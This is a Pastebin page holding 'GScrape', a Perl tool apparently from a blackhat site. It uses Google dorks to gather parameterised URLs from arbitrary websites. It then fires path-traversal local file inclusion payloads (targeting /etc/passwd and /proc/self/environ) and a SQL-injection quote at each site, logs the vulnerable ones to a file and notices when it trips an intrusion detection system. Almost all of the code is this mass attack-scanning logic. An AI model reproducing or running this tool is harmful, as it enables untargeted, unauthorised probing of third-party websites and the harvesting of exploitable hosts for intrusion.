MLT

Perl - Gscrape (Google Scraper)

MLT
Nov 10th, 2013
411
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 7.38 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. # gscrape.pl
  4. #
  5. # Uses Google::Search to either iterate through a list of dorks (dorks.lst)
  6. # And then prints out a list of vulnerable sites.
  7.  
  8. use Term::ANSIColor;
  9. use Getopt::Std;
  10. use HTTP::Request;
  11. use Google::Search;
  12. use LWP::UserAgent;
  13.  
  14. #vars n stuff
  15. my $search;
  16. my $useragent = LWP::UserAgent->new();
  17. my $infile;
  18. my $outfile;
  19. my $searchmode;
  20. my @url_list;
  21. my @search_terms; #search terms and
  22. my @dorks;        #dorks, to check if the terms have "inurl:".
  23. my @vulnsites;
  24.  
  25.  
  26.  
  27. ##--main execution:
  28.         &banner();
  29.         &getOpts();
  30.  
  31.  
  32.         if ($opt{s} || $opt{f} && $opt{o} && !$opt{h}) {
  33.         &printInfo("Trying with the following settings:");
  34.         &printInfo( ">>Search Mode: $searchmode");
  35.         &printInfo( ">>Output file: $outfile");
  36.  
  37.     if ($searchmode == "single" && $searchmode != "list"){
  38.  
  39.         &printInfo( ">>Search Term: $search");
  40.         &search_single();
  41.         } else {
  42.              &printInfo( ">>Search List: $infile");
  43.              &search_list();
  44.              }
  45.  
  46.  
  47.          }
  48.          if (!$opt{h} && !$opt{o}){
  49.              &printCritical("YOU MUST SPECIFY AN OUTPUT FILE!1!one!");
  50.              &printInfo("use -h flag for help");
  51.              print"\n\r\nExiting..\n";
  52.          }
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59. ##--subroutines:.
  60.  
  61.  
  62.  
  63. #Search using a list of terms:
  64. sub search_list(){
  65.  
  66. open FILE, "<", $infile or die $!;
  67. my @search_terms = <FILE>;
  68. my $num = @search_terms;
  69. &printInfo("Loaded $num search terms.");
  70. &printInfo("Fixing improper search terms [if any]");
  71. #iterate through the search terms, checking if they have "inurl:" if not, prepend it.
  72. for( my $int = 0; $int < $num; $int++){
  73.     my $random = int(rand($num));
  74.  
  75.     if ( @search_terms[$random] !~ /inurl:/ ){
  76.         push(@dorks, "inurl:".@search_terms[$random]);
  77.         }
  78.     if ( @search_terms[$random] =~ /inurl:/){
  79.         push(@dorks, @search_terms[$random]);
  80.         }
  81.  
  82.  
  83.     }
  84.     print"\n";
  85. &printInfo("Retrieving search results..");
  86.  
  87. #iterate through the google dorks (search terms, with 'inurl:'), and add them to the list of sites.
  88. foreach(@dorks) {
  89.  
  90.      $search = Google::Search->Web( query => $_ );
  91.     while ( my $result = $search->next ) {
  92.         if( $result->uri =~ /\=/) { #check if results have "=" in them (ex: www.site.com/index.php?page=LOLCATS)
  93.             push(@url_list, $result->uri); #push result into the array
  94.             &printInfo(">>".$result->uri);
  95.         }
  96.     }
  97. }
  98.  
  99. my @lfitest = (
  100.     '/etc/passwd%00',
  101.     '/etc/passwd',
  102.     '/proc/self/environ%00',
  103.     '/proc/self/environ',
  104.     '../../../../../../../../../../../../../../../proc/self/environ',
  105.     '../../../../../../../../../../../../../../../proc/self/environ%00',
  106.     '../../../../../../../../../../../../../../../etc/passwd',
  107.     '../../../../../../../../../../../../../../../etc/passwd%00',
  108.     "'"
  109.     );
  110.  
  111.  
  112. my $lfinum = @lfitest;
  113.  
  114. print"\n";
  115. &printInfo("Testing sites for vulnerabilities..");
  116.  
  117.  
  118.  
  119. #Test the sites for vulns.
  120.  
  121. foreach( @url_list ){
  122.     my $index = @url_list;
  123.     my $randint = int(rand($index));
  124.  
  125.         my $x = @url_list[$randint];
  126.         $x =~ s/=.*/=/ ;
  127.  
  128.  
  129.  
  130.         for (my $i = 0; $i < $lfinum; $i++){
  131.             if ( $x !~ /http:\/\// ){
  132.                 $x = "http://".$x;
  133.             }
  134.  
  135.  
  136.  
  137.         my $request = $useragent->get($x.@lfitest[$i]);
  138.         my $result = $request->content;
  139.  
  140.         if ($result =~ m/root:x:/i || m/HTTP_USER_AGENT/){
  141.             &printVulnLFI(">>> ".$x.@lfitest[$i]);
  142.             open FILE, ">>", $outfile or die $!;
  143.             print FILE "[LFI VULN] >> ".$x.@lfitest[$i]."\n";
  144.             close FILE;
  145.             last;
  146.         }
  147.         if ($result =~ m/error in your/i || m/syntax/i){
  148.             &printVulnSQLI(">>> ".$x.@lfitest[$i]);
  149.                         open FILE, ">>", $outfile or die $!;
  150.             print FILE "[SQLI VULN] >> ".$x.@lfitest."'\n";
  151.             close FILE;
  152.             last;
  153.         }
  154.         if ($result =~ m/hacking/i || m/reported/i ||  m/recorded/i || m/malicious/i){
  155.             &printCritical("> Whoops! Tripped an IDS at: ".$x." With: ".@lfitest[$i]);
  156.  
  157.         }
  158.  
  159.     }
  160. }
  161.  
  162. }
  163.  
  164.  
  165.  
  166.  
  167.  
  168.  
  169. sub banner() {
  170. system('clear');
  171.     print("\r+=====================================================================+
  172.           \r|                              GScrape                                |
  173.           \r|         ________  _________                                         |
  174.           \r|        /  _____/ /   _____/ ________________  ______   ____         |
  175.           \r|       /   \\  ___ \\_____  \\_/ ___\\_  __ \\__  \\ \\____ \\_/ __ \\        |
  176.           \r|       \\    \\_\\  \\/        \\  \\___|  | \\// __ \\|  |_> >  ___/        |
  177.           \r|        \\______  /_______  /\\___  >__|  (____  /   __/ \\___  >       |
  178.           \r|               \\/        \\/     \\/           \\/|__|        \\/        |
  179.           \r|                                                                     |
  180.           \r|                                                                     |
  181.           \r|           Uses Google AJAX API to search for vulnerabilities        |
  182.            \r+=====================================================================+
  183.            \r                      
  184.             \r                       www.BlackhatAcademy.net
  185.           " );
  186.  
  187.            printWarning("THE END USER IS LIABLE FOR THE USE OF THIS SOFTWARE.
  188.                         \rUSING THIS AGAINST ANY SYSTEM WITHOUT PERMISSION IS A CRIMINAL ACT
  189.                         \rTHE AUTHOR TAKES NO RESPONSIBILITY FOR THE END-USER'S ACTIONS.\n");
  190.  
  191.  
  192.  
  193. }
  194.  
  195.  
  196. sub getOpts(){
  197.     #option modes, and args.
  198.     my $opt_string = 'f:o:h';
  199.         getopts( "$opt_string", \%opt );
  200.  
  201.         #set vars of $outfile, and $infile if they are defined.
  202.  
  203.  
  204.         if ($opt{o}){
  205.             $outfile = $opt{o};
  206.         }
  207.  
  208.         if ($opt{f}){
  209.  
  210.             $infile = $opt{f};
  211.             $searchmode = "list";
  212.  
  213.         }
  214.  
  215.  
  216.  
  217.         #Display help page if -h
  218.         usage() if $opt{h};
  219.  
  220.  
  221.  
  222. }
  223. #YES HELLO, THIS IS HELP PAGE.
  224. sub usage(){
  225.     print("
  226.  
  227.  
  228. GScrape Usage:
  229.  
  230.     Search using a list of search terms:
  231.      -f /path/to/dorks.txt
  232.  
  233.  
  234.     Define output file:
  235.      -o results.out
  236.  
  237.  
  238.  
  239.  
  240. Example Usages:
  241.  
  242.    Run a list of search terms through the scanner:
  243.      perl gscrape.pl -f ~/Dork.lst -o ~/result.out
  244.  
  245.  
  246.     ");
  247. }
  248.  
  249.  
  250.     #HERE BE ANSICOLOR:
  251.     # [INFO] [CRITICAL] and [WARNING] messages
  252.  
  253.     sub printCritical(){
  254.         my $error = shift(@_);
  255.  
  256.  
  257.      print color 'bold blue';
  258.      print "\r[";
  259.      print color 'red';
  260.      print "CRITICAL";
  261.      print color 'bold blue';
  262.      print "]  ";
  263.      print color 'red';
  264.      print color 'reset';
  265.      print $error."\n";
  266.  
  267.     }
  268.     sub printWarning(){
  269.  
  270.         my $error = shift(@_);
  271.  
  272.  
  273.      print color 'bold blue';
  274.      print "\r[";
  275.      print color 'yellow';
  276.      print "WARNING";
  277.      print color 'bold blue';
  278.      print "]  ";
  279.      print color 'reset';
  280.      print $error."\n";
  281.  
  282.     }
  283.     sub printInfo(){
  284.  
  285.         my $info = shift(@_);
  286.  
  287.  
  288.      print color 'bold blue';
  289.  
  290.      print "\r[";
  291.      print color 'reset';
  292.      print "INFO";
  293.      print color 'bold blue';
  294.      print "]  ";
  295.      print color 'reset';
  296.      print $info."\n";
  297.  
  298.     }
  299.  
  300.         sub printVulnLFI(){
  301.  
  302.         my $info = shift(@_);
  303.  
  304.  
  305.      print color 'bold blue';
  306.  
  307.      print "\r[";
  308.      print color 'green';
  309.      print "LFI VULN ";
  310.      print color 'bold blue';
  311.      print "]  ";
  312.      print color 'reset';
  313.      print $info."\n";
  314.  
  315.     }
  316.  
  317.             sub printVulnSQLI(){
  318.  
  319.         my $info = shift(@_);
  320.  
  321.  
  322.      print color 'bold blue';
  323.  
  324.      print "\r[";
  325.      print color 'green';
  326.      print "SQLI VULN";
  327.      print color 'bold blue';
  328.      print "]  ";
  329.      print color 'reset';
  330.      print $info."\n";
Comments
  • Comment was deleted
Add Comment
Please, Sign In to add comment